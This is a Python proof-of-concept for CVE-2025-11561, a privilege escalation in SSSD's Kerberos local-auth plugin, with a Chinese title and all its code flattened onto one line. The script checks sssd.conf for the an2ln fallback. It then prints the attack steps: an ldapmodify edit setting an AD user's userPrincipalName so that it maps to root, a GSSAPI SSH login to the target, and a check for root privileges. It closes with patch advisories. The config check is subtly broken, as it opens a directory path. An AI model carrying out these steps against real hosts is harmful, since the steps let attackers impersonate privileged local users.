CVE-2025-11561 SSSD Kerberos本地认证插件权限提升漏洞

# CVE-2025-11561 PoC - SSSD Kerberos Local Auth Plugin Privilege Escalation # This PoC demonstrates the concept of exploiting the sssd_krb5_localauth_plugin # fallback to an2ln plugin for impersonating privileged users. # Prerequisites: # - Valid AD account with write permission to userPrincipalName or samAccountName # - Target Linux host joined to AD domain via SSSD # - Default SSSD configuration with sssd_krb5_localauth_plugin enabled import subprocess import sys def check_sssd_config(): """Check if sssd_krb5_localauth_plugin is enabled and an2ln fallback exists""" config_paths = [ "/etc/sssd/sssd.conf", "/etc/sssd/conf.d/" ] for path in config_paths: try: with open(path, 'r') as f: content = f.read() if "sssd_krb5_localauth_plugin" in content: print(f"[+] Found SSSD config at {path}") if "an2ln" in content: print("[!] an2ln fallback plugin detected - VULNERABLE") return True except FileNotFoundError: continue return False def exploit_concept(): """ Conceptual exploit steps: 1. Modify AD user attributes (userPrincipalName/samAccountName) to a value that triggers an2ln fallback 2. The malicious attribute value should resolve to a privileged local user (e.g., 'root') 3. When the modified user authenticates via Kerberos on Linux, sssd_krb5_localauth_plugin falls back to an2ln 4. an2ln maps the crafted value to the privileged local username 5. Authentication succeeds with elevated privileges """ print("[*] CVE-2025-11561 Exploitation Concept") print("[*] Step 1: Verify target is vulnerable") if not check_sssd_config(): print("[-] Target does not appear vulnerable") sys.exit(1) print("[*] Step 2: Modify AD user attributes via LDAP/ADSI") print(" Example using ldapmodify:") print(' dn: CN=victim,CN=Users,DC=domain,DC=com') print(' changetype: modify') print(' replace: userPrincipalName') print(' userPrincipalName: [email protected]') print("[*] Step 3: Trigger Kerberos authentication on target Linux host") print(" ssh -o GSSAPIAuthentication=yes user@target_host") print("[*] Step 4: Verify privilege escalation") print(" id # Should show root or privileged user") if __name__ == "__main__": exploit_concept() # Mitigation: Apply Red Hat security updates: # RHSA-2025:19610, RHSA-2025:19847, RHSA-2025:19848, RHSA-2025:19849, RHSA-2025:19850 # Or disable sssd_krb5_localauth_plugin in sssd.conf